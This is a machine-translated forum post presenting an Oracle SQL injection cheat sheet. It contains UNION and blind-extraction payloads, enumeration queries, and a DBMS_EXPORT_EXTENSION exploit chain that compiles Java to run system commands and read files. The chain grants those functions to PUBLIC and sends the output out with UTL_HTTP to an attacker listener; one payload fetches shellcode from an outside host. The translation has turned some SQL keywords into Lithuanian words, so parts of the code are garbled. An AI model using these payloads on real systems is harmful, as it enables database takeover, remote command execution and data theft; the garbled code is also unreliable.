Šis straipsnis yra veidrodinis mašininio vertimo straipsnis, spauskite čia norėdami pereiti prie originalaus straipsnio.

Rodinys: 11931|Atsakyti: 0

[Saugus ryšys] SQL injekcijos pastabų orakulas

[Kopijuoti nuorodą]
Paskelbta 2015-01-24 12:58:17 | | |
Šį pranešimą paskutinį kartą redagavo test 2015-1-24 13:01

Komentaras: --
Kelių sakinių vykdymas nepalaikomas, o sujungtos užklausos palaikomos
Duomenų bazių pavadinimai, lentelių pavadinimai ir stulpelių pavadinimai rašomi didžiosiomis raidėmis.


ilgis (laukas)
ascii(substr(laukas, N, 1))


ir (pasirinkite count(*) iš dual)>0 -- Nustatykite, ar tai orakulas, ar ne

Užsakymas pagal n--

ir 1=2 sąjunga pasirenka nulį, nulį,.....,nulį iš dual-- pakeiskite nulį į N arba 'N'

ir 1=2 union select null, (sql statement) ,.....,null from dual -- change to (sql statement) at 'N'

ir (pasirinkite count(*) iš all_objects, kur object_name='UTL_HTTP')>0 -- Nustatykite, ar UTL_HTTP palaikomas (eksporto IP žinomas)

ir UTL_HTTP.request('http://LocalIP:port'|| (SQL pareiškimas)) =1-- Nuotoliniu būdu siųsti pranešimus į vietinį, vietinį klausymąsi nc -vv -l -p 1234


SQL teiginiai
Pasirinkite reklamjuostę iš sys.v_$version kur rownum=1, kad užklaustumėte orakulo versiją
pasirinkite narį iš v$logfile kur rownum=1 Užklausti žurnalo failo kelio (Windows arba Linux)
pasirinkite utl_inaddr.get_host_address iš dvigubo, kad užklaustumėte duomenų bazės klausymosi IP
Pasirinkite instance_name iš v$instance, kad užklaustumėte sid
pasirinkti pavadinimą iš v$database Užklausti dabartinio duomenų bazės pavadinimo
Pasirinkite sys_context ("userenv", "current_user") iš dviejų užklausų duomenų bazės vartotojų
Pasirinkite * iš session_roles, kur rownum=1, jei norite užklausti dabartinių vartotojo teisių
Pasirinkite * iš session_roles, kur rownum=1 [ir role<>'first permission name']



Pasirinkite table_name iš user_tables, kur rownum=1 Pirmasis dabartinės duomenų bazės lentelės segmentas
Pasirinkite table_name||','|| tablespace_name iš user_tables kur rownum=1 Pirma lentelės segmentas, duomenų bazė (patikrinimui tai gali būti ne v$database)
Pasirinkite table_name iš user_tables, kur rownum=1 ir table_name<>'first table segment' Antrasis dabartinės duomenų bazės lentelės segmentas

Pasirinkite column_name iš user_tab_columns, kur rownum=1 ir table_name='Lentelės segmentas' Pirmasis laukas, atitinkantis lentelės pavadinimą
Pasirinkite column_name iš user_tab_columns, kur rownum=1 ir table_name='Lentelės segmentas' ir column_name<>'Pirmas laukas' Antrasis laukas, atitinkantis lentelės pavadinimą

Pasirinkti lauką iš lentelės segmento, kuriame rownum=1 pažeidžia pirmos eilutės turinį
Pasirinkti lauką iš lentelės segmento, kuriame rownum=1 ir lauko <> 'pirmos eilutės turinys' rodo antrosios eilutės turinį


Kryžminė biblioteka
Pasirinkti savininką iš all_tables, kur rownum=1 užklausia pirmojo duomenų bazės pavadinimo
Pasirinkite savininką iš all_tables, kur rownum=1 ir savininkas<> 'Pirmasis duomenų bazės pavadinimas', kad užklaustumėte antrojo duomenų bazės pavadinimo

Pasirinkite table_name iš all_tables, kur rownum=1 ir owner='database name' Užklausti atitinkamos duomenų bazės pirmosios lentelės pavadinimo
Pasirinkite table_name iš all_tables, kur rownum=1 ir owner='database name' ir table_name<>'first table name', kad užklaustumėte atitinkamos duomenų bazės antrosios lentelės pavadinimo

Pasirinkite column_name iš all_tab_columns, kur rownum=1 ir owner='database name' ir table_name='table segment' Pirmasis laukas, atitinkantis lentelės pavadinimą
Pasirinkite column_name iš all_tab_columns, kur rownum=1 ir savinink='duomenų bazės pavadinimas' ir table_name='lentelės segmentas' ir column_name<>'pirmasis laukas' Antrasis laukas, atitinkantis lentelės pavadinimą

Pasirinkite lauką iš duomenų bazės. Lentelės segmentas, kuriame rownum=1 pažeidžia pirmosios eilutės turinį
Pasirinkite lauką iš duomenų bazės. Lentelės segmentas, kuriame rownum=1 ir laukas <> "Pirmos eilutės turinys" pažeidžia antros eilutės turinį





SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); kelių teiginių PABAIGA; --','SYS',0,'1',0)--

Jei "pabėgo", vartojamas chr().

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(CHR(70)|| CHR(79)|| CHR(79),CHR(66)|| CHR(65)|| chr(82), CHR(68)|| CHR(66)|| CHR(77)|| CHR(83)|| CHR(95)|| CHR(79)|| CHR(85)|| CHR(84)|| CHR(80)|| CHR(85)|| CHR(84)|| CHR(34)|| CHR(46)|| CHR(80)|| CHR(85)|| CHR(84)|| CHR(40)|| CHR(58)|| CHR(80)|| CHR(49)|| CHR(41)|| CHR(59)|| Keli pareiškimai || CHR(69)|| CHR(78)|| CHR(68)|| CHR(59)|| CHR(45)|| chr(45),chr(83)|| CHR(89)|| chr(83),0,chr(49),0)=0--

Jei keli sakiniai yra per ilgi, galite parašyti teiginį į svetainės failą ir naudoti utl_http.request, kad jį gautumėte.

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--





Sukurkite JAVA paketą SecTest
runCMD naudojamas sistemos komandoms vykdyti
ir "1"<>"a"|| (pasirinkite SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); VYKDYTI NEDELSIANT "PASKELBTI PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE''''sukurti arba pakeisti ir kompiliuoti java šaltinį, pavadintą "SecTest" kaip importo java.io.*; viešoji klasė SecTest išplečia objektą{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); Eilutė stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); grąžinti str; }catch(Išimtis e){return e.toString(); }}}''''; PABAIGA; ''; PABAIGA; --','SYS',0,'1',0) iš dvigubo)--

readFile naudojamas failui skaityti
ir "1"<>"a"|| (pasirinkite SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); VYKDYTI NEDELSIANT "PASKELBTI PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE''''sukurti arba pakeisti ir kompiliuoti java šaltinį, pavadintą "SecTest" kaip importo java.io.*; viešoji klasė SecTest išplečia objektą{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(failo pavadinimas)); Eilutė stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); grąžinti str; }catch(Išimtis e){return e.toString(); }}}''''; PABAIGA; ''; PABAIGA; --','SYS',0,'1',0) iš dvigubo)--



Suteikti "Java" teises
ir "1"<>"a"|| (pasirinkite SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); VYKDYTI NEDELSIANT "PASKELBTI PRAGMA AUTONOMOUS_TRANSACTION; PRADĖTI VYKDYTI NEDELSIANT ''''pradėti dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALL FILES>>'''''''',''''''''vykdyti''''''''); pabaiga; ''''; PABAIGA; ''; PABAIGA; --','SYS',0,'1',0) iš dvigubo)--



Funkcijos kūrimas
Funkcija SecRunCMD
ir "1"<>"a"|| (pasirinkite SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); VYKDYTI NEDELSIANT "PASKELBTI PRAGMA AUTONOMOUS_TRANSACTION; PRADĖTI VYKDYTI NEDELSIANT ''''sukurti arba pakeisti funkciją SecRunCMD(p_cmd varchar2) grąžinti varchar2 kaip kalbą java pavadinimas''''''''SecTest.runCMD(java.lang.String) grąžinti eilutę'''''''' ; ''''; PABAIGA; ''; PABAIGA; --','SYS',0,'1',0) iš dvigubo)--

Funkcija "SecReadFile"
ir "1"<>"a"|| (pasirinkite SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); VYKDYTI NEDELSIANT "PASKELBTI PRAGMA AUTONOMOUS_TRANSACTION; PRADĖTI VYKDYTI NEDELSIANT ''''sukurti arba pakeisti funkciją SecReadFile(failo pavadinimas varchar2) grąžinti varchar2 kaip kalbą java pavadinimas''''''''SecTest.readFile(java.lang.String) grąžinti eilutę' '''''''; ''''; PABAIGA; ''; PABAIGA; --','SYS',0,'1',0) iš dvigubo)--



Suteikti teisę vykdyti viešąją funkciją
SecRunCMD suteikiami leidimai
ir "1"<>"a"|| (pasirinkite SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); VYKDYTI NEDELSIANT "PASKELBTI PRAGMA AUTONOMOUS_TRANSACTION; PRADĖTI VYKDYTI NEDELSIANT ''''suteikti viską SecRunCMD visuomenei''''; PABAIGA; ''; PABAIGA; --','SYS',0,'1',0) iš dvigubo)--

SecReadFile
ir "1"<>"a"|| (pasirinkite SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); VYKDYTI NEDELSIANT "PASKELBTI PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''suteikti visuomenei viską, kas yra SecReadFile'''; PABAIGA; ''; PABAIGA; --','SYS',0,'1',0) iš dvigubo)--



Aptinka, ar funkcija sėkmingai sukurta
ir (pasirinkite count(*) iš all_objects, kur object_name='SECRUNCMD')>0--
ir (pasirinkite count(*) iš all_objects, kur object_name='SECREADFILE')>0--



Vykdykite komandą
ir "1" <> (pasirinkite sys. SecRunCMD ('Vykdyti komandą') iš dvigubo) -
ir "1" <> (pasirinkite sys. SecReadFile('failo fizinis adresas') iš dvigubo)--
arba
ir 1=2 sąjunga pasirinkite null,...,sys. SecRunCMD('vykdyti komandą'),...,null iš dual--
ir 1=2 sąjunga pasirinkite null,...,sys. SecReadFile('failo fizinis adresas'),...,null iš dvigubo--
arba
ir '1'<>(pasirinkite UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecRunCMD('Vykdyti komandą'),'',' '),'\n',' ')) iš dual)--
ir '1'<>(pasirinkite UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecReadFile('Failo fizinis adresas'),','',','\n',' ')) iš dual)--



Ištrynimo funkcija
ir "1"<>"a"|| (pasirinkite SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); VYKDYTI NEDELSIANT "PASKELBTI PRAGMA AUTONOMOUS_TRANSACTION; PRADĖTI VYKDYTI NEDELSIANT ''''lašo funkcija SecRunCMD''''; PABAIGA; ''; PABAIGA; --','SYS',0,'1',0) iš dvigubo)--
ir "1"<>"a"|| (pasirinkite SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); VYKDYTI NEDELSIANT "PASKELBTI PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE '''drop funkcija SecReadFile''''; PABAIGA; ''; PABAIGA; --','SYS',0,'1',0) iš dvigubo)--




Ankstesnis:Ar galiu kreiptis dėl moderavimo, kokių sąlygų man reikia?
Kitą:ORALCE gauna pagrindinio kompiuterio pavadinimą ir IP adresą
Atsakomybės apribojimas:
Visa programinė įranga, programavimo medžiaga ar straipsniai, kuriuos skelbia Code Farmer Network, yra skirti tik mokymosi ir mokslinių tyrimų tikslams; Aukščiau nurodytas turinys negali būti naudojamas komerciniais ar neteisėtais tikslais, priešingu atveju vartotojai prisiima visas pasekmes. Šioje svetainėje pateikiama informacija gaunama iš interneto, o ginčai dėl autorių teisių neturi nieko bendra su šia svetaine. Turite visiškai ištrinti aukščiau pateiktą turinį iš savo kompiuterio per 24 valandas nuo atsisiuntimo. Jei jums patinka programa, palaikykite autentišką programinę įrangą, įsigykite registraciją ir gaukite geresnes autentiškas paslaugas. Jei yra kokių nors pažeidimų, susisiekite su mumis el. paštu.

Mail To:help@itsvse.com